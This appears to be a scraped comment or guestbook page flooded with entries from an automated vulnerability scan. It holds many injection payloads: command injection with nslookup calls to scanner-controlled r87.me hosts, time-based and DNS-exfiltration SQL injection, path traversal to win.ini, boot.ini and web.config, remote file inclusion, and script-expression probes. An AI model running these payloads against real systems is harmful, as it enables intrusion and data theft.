\r\n +createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxu46jg4wgbmtobm1eci9qjg6tt4vtgft\" & \"k80.r87.me\").StdOut.ReadAll\r\n

\r\n
\r\n

/../../../../../../../../../../windows/iis6.log

\r\n

\r\n 8/23/2017 8:09:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:42 AM\r\n

\r\n

\r\n ping -w 25 127.0.0.1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:42 AM\r\n

\r\n

\r\n createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuluwjl7qpa4o-rzvstjnss571afrgve\" & \"g44.r87.me\").StdOut.ReadAll\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:41 AM\r\n

\r\n

\r\n expr 268409241 - 2;\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:41 AM\r\n

\r\n

\r\n ping -n 25 127.0.0.1\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:41 AM\r\n

\r\n

\r\n ')) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini

\r\n

\r\n 8/23/2017 8:09:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:40 AM\r\n

\r\n

\r\n ping -w 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:40 AM\r\n

\r\n

\r\n '{${gethostbyname(trim('o010_rdnxubxkmsnyneuncldd41-zkaquy4saeqr'.'mdy.r87.me'))}}'\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:39 AM\r\n

\r\n

\r\n &ping -w 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini

\r\n

\r\n 8/23/2017 8:09:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:39 AM\r\n

\r\n

\r\n \"+gethostbyname(trim('o010_rdnxu76nwik58btklkeqwz1f2q6w5otgqqg'.'v7w.r87.me'))+\"\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:39 AM\r\n

\r\n

\r\n '&ping -w 25 127.0.0.1 &'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n '+gethostbyname(trim('o010_rdnxupij3a5-w7z80zwhe_ygrzgwgqlmgly'.'5ik.r87.me'))+'\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n ;expr 268409241 - 2;x\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n ') WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

....//....//....//....//....//....//....//....//....//....//....//windows/win.ini

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n \"&ping -w 25 127.0.0.1 &\"\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:37 AM\r\n

\r\n

\r\n +gethostbyname(trim('o010_rdnxurlfouvntkzt91dsoqoslqdfyg5umfw'.'kyi.r87.me'));//\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:37 AM\r\n

\r\n

\r\n ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

...//...//...//...//...//...//...//...//...//...//...//windows/win.ini

\r\n

\r\n 8/23/2017 8:09:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:36 AM\r\n

\r\n

\r\n & ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:36 AM\r\n

\r\n

\r\n ';expr 268409241 - 2;'\r\n

\r\n
\r\n

c:\\windows\\win.ini

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/n

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n '& ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n 1) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n gethostbyname(trim('o010_rdnxupd9q5ji7xvvbcaicpnypm8chfpjuen'.'ecc.r87.me'));\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n \"& ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

php://filter//resource=http://r87.com/n?\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:34 AM\r\n

\r\n

\r\n gethostbyname(trim('o010_rdnxuq8bbsk37pdde8ccpiocscf2k5j-fid'.'tle.r87.me'))\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../windows/win.ini\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/n?.aspx

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \";expr 268409241 - 2;\"\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:32 AM\r\n

\r\n

\r\n WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

file:/windows/win.ini

\r\n

\r\n 8/23/2017 8:09:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../windows/win.ini

\r\n

\r\n 8/23/2017 8:09:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:31 AM\r\n

\r\n

\r\n 1 WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

/../../../../../../../../../../web.config

\r\n

\r\n 8/23/2017 8:09:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/n?\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

c%3a%5cboot.ini

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

hTTp://r87.com/n

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n SET /A 0xFFF9999-2\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file%3a%2fboot.ini

\r\n

\r\n 8/23/2017 8:09:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:28 AM\r\n

\r\n

\r\n ' WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

\r\n

\r\n 8/23/2017 8:09:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:26 AM\r\n

\r\n

\r\n SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:25 AM\r\n

\r\n

\r\n & SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................

\r\n

\r\n 8/23/2017 8:09:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:23 AM\r\n

\r\n

\r\n '& SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

c:\\boot.ini

\r\n

\r\n 8/23/2017 8:09:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:21 AM\r\n

\r\n

\r\n \"& SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file:/boot.ini

\r\n

\r\n 8/23/2017 8:09:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1/../../../../../../../../../../boot.ini

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../boot.ini\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../boot.ini

\r\n

\r\n 8/23/2017 8:09:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?0x002AB8

\r\n

\r\n 8/23/2017 8:09:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?0x002AB7

\r\n

\r\n 8/23/2017 8:09:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

[ns](javascript:netsparker(0x002A8F); \"nsmd\")

\r\n

\r\n 8/23/2017 8:09:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\"@-->

\r\n

\r\n 8/23/2017 8:09:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -w 25 127.0.0.1

\r\n

\r\n 8/23/2017 8:09:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -n 25 127.0.0.1

\r\n

\r\n 8/23/2017 8:09:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+netsparker(0x002A8B)+'

\r\n

\r\n 8/23/2017 8:09:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -w 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:09:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

netsparker(0x002A89);

\r\n

\r\n 8/23/2017 8:09:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

netsparker(0x002A87)

\r\n

\r\n 8/23/2017 8:09:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

&ping -w 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'&ping -w 25 127.0.0.1 &'

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

',netsparker(0x002A85),'

\r\n

\r\n 8/23/2017 8:09:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\\';netsparker(0x002A83);///

\r\n

\r\n 8/23/2017 8:09:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"&ping -w 25 127.0.0.1 &\"

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:08:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+netsparker(0x002A81)+\"

\r\n

\r\n 8/23/2017 8:08:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+netsparker(0x002A7F)+'

\r\n

\r\n 8/23/2017 8:08:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:08:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:08:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

*/netsparker(0x002A7D);/*

\r\n

\r\n 8/23/2017 8:08:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

body{x:expression(netsparker(0x002A7B))}

\r\n

\r\n 8/23/2017 8:08:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:08:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

|expr${IFS}268409241${IFS}-${IFS}2

\r\n

\r\n 8/23/2017 8:08:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

expr 268409241 - 2

\r\n

\r\n 8/23/2017 8:08:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

n;ns:expression(netsparker(0x002A79));

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

expr 268409241 - 2;

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n '+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'\r\n

\r\n
\r\n

1;expr 268409241 - 2;x

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<%a style=x:expre/**/ssion(netsparker(0x002A77))>

\r\n

\r\n 8/23/2017 8:08:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:52 AM\r\n

\r\n

\r\n '||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:52 AM\r\n

\r\n

\r\n '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(48)||chr(115)||chr(111)||chr(113)||chr(113)||chr(108)||chr(118)||chr(105)||chr(116)||chr(120)||chr(95)||chr(50)||chr(113)||chr(95)||chr(97)||chr(109)||chr(110)||chr(104)||chr(118)||chr(106)||chr(53)||chr(97)||chr(102)||chr(98)||chr(97)||chr(115)||chr(118)||chr(112)||chr(56)||chr(109)||chr(116)||chr(119)||chr(103)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1';expr 268409241 - 2;'

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n (length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))\r\n

\r\n
\r\n

|nslookup${IFS}\"o010_rdnxualozt818le1ziotmfwfoxumkuqkklf\"\"ury.r87.me\"

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(50)||chr(121)||chr(108)||chr(109)||chr(113)||chr(105)||chr(98)||chr(116)||chr(98)||chr(106)||chr(102)||chr(114)||chr(116)||chr(115)||chr(103)||chr(120)||chr(116)||chr(97)||chr(99)||chr(116)||chr(119)||chr(102)||chr(103)||chr(108)||chr(121)||chr(121)||chr(111)||chr(101)||chr(109)||chr(98)||chr(109)||chr(107)||chr(99)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))\r\n

\r\n
\r\n

|nslookup${IFS}\"o010_rdnxupxt_xsmil_jux4oafb_du8w6vkiqyd\"\"z1o.r87.me\"

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1\" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n 1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1\r\n

\r\n
\r\n

\"&nslookup \"o010_rdnxu0mp9tjmo-33ousfksyvnlwquiyduic\"\"f8i.r87.me\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"&nslookup \"o010_rdnxukwavmnr6uxmaxw6iqm947lohljnseu\"\"90e.r87.me\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n (select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(98)||chr(103)||chr(98)||chr(118)||chr(122)||chr(122)||chr(49)||chr(111)||chr(99)||chr(97)||chr(97)||chr(107)||chr(102)||chr(95)||chr(100)||chr(120)||chr(99)||chr(102)||chr(102)||chr(107)||chr(122)||chr(102)||chr(116)||chr(99)||chr(122)||chr(119)||chr(100)||chr(110)||chr(117)||chr(118)||chr(97)||chr(97)||chr(121)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)\r\n

\r\n
\r\n

'&nslookup \"o010_rdnxufxhyjejjfwkr4vrg6mnixwezhu-ms5\"\"fqe.r87.me\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1\";expr 268409241 - 2;\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'&nslookup \"o010_rdnxurzlw5uznq-jb2th_efsvc6lksde7ye\"\"btw.r87.me\"

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

